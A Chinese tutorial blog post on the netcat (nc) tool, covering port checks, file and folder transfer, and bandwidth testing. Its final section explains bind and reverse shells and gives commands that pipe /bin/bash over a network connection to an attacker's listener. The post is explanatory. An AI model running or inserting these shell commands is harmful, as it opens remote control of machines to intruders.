nc命令用法示例

nc简介

nc

nc全称netcat,又叫做瑞士军刀,是一款简单、可靠的网络工具。

作用

  1. 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
  2. 端口扫描,nc可以作为client发起TCP或UDP连接
  3. 机器之间传输文件
  4. 机器之间网络测速

安装

CentOS/RHEL/Fedora:

yum install -y nc
nc --version
Ncat: Version 7.50 ( https://nmap.org/ncat )

或者

dnf install nc

Debian/Ubuntu:

apt-get install netcat

nc常见用法

nc命令常见语法格式

nc [参数] 域名/IP地址 [端口]

常用参数

  • -h:帮助
  • -4:仅使用 IPv4
  • -6:仅使用 IPv6
  • -v:显示详细信息,包括连接和数据传输的详细信息。
  • -z:指定在连接成功后关闭连接,而不是等待输入。
  • -n:指定不使用DNS解析主机名。
  • -w:指定连接超时时间(以秒为单位)。
  • -l:指定 nc 作为服务器监听连接。
  • -p:指定本地端口号。
  • -s:指定本地源地址。
  • -k:指定服务器在接受一个连接后保持监听状态,以便接受多个连接。
  • -u:指定使用UDP协议。
  • -e, --exec:执行给定的命令。
  • -c, --sh-exec:通过 /bin/sh 执行给定的命令。可使用管道符之类的符号
  • -z:指定在连接成功后关闭连接,而不是等待输入。
  • -b:指定在连接成功后将标准输入和标准输出重定向到后台。
  • -t:允许nc与telnet兼容,例如处理特殊转义序列。
  • -r:指定在连接成功后随机选择本地端口号。
  • --version:显示 Ncat 的版本信息并退出

案例

环境准备

  • 服务器1:10.0.0.11
  • 服务器2:10.0.0.12

实用案例

网络连通性测试和端口扫描

测试主机的TCP端口

服务器1监听在tcp的60000端口

$ nc -lp 60000
# 或者省略-p
$ nc -l 60000

查看端口

$ netstat -ntlpu | grep 60000
tcp        0      0 0.0.0.0:60000           0.0.0.0:*               LISTEN      2553/nc             
tcp6       0      0 :::60000                :::*                    LISTEN      2553/nc

服务器2上测试

$ nc -zv 10.0.0.11 60000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.11:60000.
Ncat: 0 bytes sent, 0 bytes received in 0.00 seconds.

测试主机的UDP端口

服务器1监听在udp的60000端口

$ nc -lup 60000
# 或者省略-p
$ nc -lu 60000

查看端口

$ netstat -ntlpu | grep 60000
udp        0      0 0.0.0.0:60000           0.0.0.0:*                           2633/nc             
udp6       0      0 :::60000                :::*                                2633/nc

服务器2上测试

$ nc -vzu 10.0.0.11 60000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.11:60000.
Ncat: UDP packet sent successfully
Ncat: 1 bytes sent, 0 bytes received in 2.00 seconds.

补充

  1. 加上 -w 可以设置超时时长

    nc -vzw 2 10.0.0.11 60000
    

    设置超时时长2s

  2. 脚本中使用

    端口正常的话,查询 $?,就是0

    $ nc -z 10.0.0.11 22
    $ echo $?
    0
    

    如果不正常,就不为0

    $ nc -z 10.0.0.11 221
    $ echo $?
    1
    
  3. 当为ip的时候,加上-n选项会更高效

    • 提高效率,避免的不必要的dns查询
    • 脚本自动化,避免因为dns问题导致整个任务失败
    • 安全稳定,避免dns欺骗或者缓存的问题
    nc -vzn 10.0.0.11 60000
    

文件和目录的传输

传输文件

服务器2上待传输的文件

cat test.txt
第一行
第二行
第三行
第四行

服务器1上监听60000端口,并将传入的内容写入文件

nc -l 60000 > test.txt

服务器2上发送文件内容到服务器1的60000端口上

nc 10.0.0.11 60000 < test.txt

查看服务器1上的文件

cat test.txt 
第一行
第二行
第三行
第四行

传输文件夹

利用tar来传输

经过我的测试管道后面最后必须是 - ,不能是其余自定义的文件名

启动服务器1上的接收服务

nc -l 60000 | tar xfvz -

启动服务器2上的发送命令

tar czf - ./nginx/* | nc 10.0.0.11 60000

./nginx/* 是指的相对路径,如果是 *则表示当前文件夹的所有文件和文件夹

具体过程就是

把当前目录的所有文件打包为 - ,然后使用nc发送给服务器2

然后这边收到了之后再解包

测网速

dstat

这里需要用到另一个工具 dstat

dstat 是一个强大的系统资源监控工具,它能够实时显示系统的 CPU、内存、磁盘 I/O、网络流量、页面错误、任务切换等信息。

相比传统的 vmstat、iostat、netstat 等命令,dstat 提供了更为全面和综合的视图,并且可以灵活地定制输出内容以满足不同需求

安装 dstat

对于基于Debian/Ubuntu的系统

sudo apt-get update
sudo apt-get install dstat

对于基于RPM的系统(如CentOS, RHEL)

sudo yum install dstat

或者在较新版本的这些系统中使用DNF:

sudo dnf install dstat

使用Python包管理器pip(如果官方仓库没有或想要最新版本)

sudo pip install dstat

或者对于Python3:

sudo pip3 install dstat

测试上传网络

在10.0.0.11的服务器1上运行接收命令

nc -l 60000 > /dev/null

这里把来自这个端口的数据都输出给空设备 /dev/null(这样不写磁盘,测试网速更准确)

在服务器2上运行发送命令

$ nc 10.0.0.11 60000 < /dev/zero

这里是把无限个0发送给服务器1的60000端口

然后再服务器2上使用 dstat 查看网速

$ dstat 
You did not select any stats, using -cdngy by default.
----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai hiq siq| read  writ| recv  send|  in   out | int   csw 
  0   0 100   0   0   0| 443k   36k|   0     0 |   0     0 | 651  1056 
  0  12  87   0   0   0|   0     0 |1553k  548M|   0     0 |  30k 1761 
  0  12  87   0   0   0|   0     0 |1302k  537M|   0     0 |  28k 1537 
  0  12  87   0   0   0|   0     0 |1503k  568M|   0     0 |  30k 1600 
  0  12  87   0   0   0|   0     0 |1489k  561M|   0     0 |  30k 1825 
  0  12  87   0   0   0|   0     0 |1231k  540M|   0     0 |  29k 1832 
  0  12  87   0   0   0|   0     0 |1345k  546M|   0     0 |  29k 1667 

可以看到服务器2的上传数据,平均每秒500MB左右,也就是说网速大概是500M/s

测试下载网速

在服务器1上运行发送命令

nc -l 60000 < /dev/zero

谁连接这个60000端口时就会接收来自zero设备的数据(二进制的无限个0)

在服务器2上运行接收命令

$ nc 10.0.0.11 60000 > /dev/null

这里是把接收的数据输出到空设备上

然后再服务器2上使用 dstat 查看网速

$ dstat 
You did not select any stats, using -cdngy by default.
----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai hiq siq| read  writ| recv  send|  in   out | int   csw 
  0   0 100   0   0   0| 416k   34k|   0     0 |   0     0 | 719  1074 
  0   3  96   0   0   0|   0     0 | 554M 1594k|   0     0 |  40k   29k
  0   3  96   0   0   0|   0    60k| 547M 1587k|   0     0 |  40k   29k
  0   4  96   0   0   0|   0  6144B| 547M 1607k|   0     0 |  42k   29k
  0   4  96   0   0   0|   0     0 | 545M 1638k|   0     0 |  43k   30k
  0   4  96   0   0   0|   0    64k| 538M 1614k|   0     0 |  42k   29k
  0   4  96   0   0   0|   0     0 | 540M 1631k|   0     0 |  42k   30k

可以看到上传速度也是大概500M/s

nc实现反弹shell

在网络安全和渗透测试中,使用nc(Netcat)实现反弹shell通常是指被攻击主机向攻击者主机发起连接并提供一个交互式命令行环境。

反弹shell的基本原理:

  1. 攻击者主机运行nc监听指定端口等待连接。
  2. 被攻击主机执行命令创建一个新的网络连接,该连接会通过TCP连接到攻击者的IP地址和监听的端口,并将本地shell进程的标准输入、输出和错误重定向至该网络连接。

正向反弹

也就是需要被攻击者先启服务,然后在后起服务的攻击者一方通过执行命令获取被攻击者信息或者执行其他命令

被攻击者运行命令

nc -l -e /bin/bash 60000

这里是把10.0.0.11的服务器1作为被攻击者,监听在60000端口上

攻击者上运行命令

$ nc 10.0.0.11 60000
# 就可以直接执行各种命令,得到的结果也都是在被攻击者上执行后返回的结果
hostname -I
10.0.0.11 192.168.122.1

反向反弹

也就是需要攻击者先启服务,后起服务的是被攻击者一方,然后攻击者一方就可以通过执行命令获取被攻击者信息或者执行其他命令

攻击者先起服务

nc -l 60000

被攻击者启服务

nc -e /bin/bash 10.0.0.11 60000

然后就可以在10.0.0.11的服务器1上执行各种命令来达到远程控制的目的

posted @ 2024-01-22 12:41  厚礼蝎  阅读(190)  评论(0编辑  收藏  举报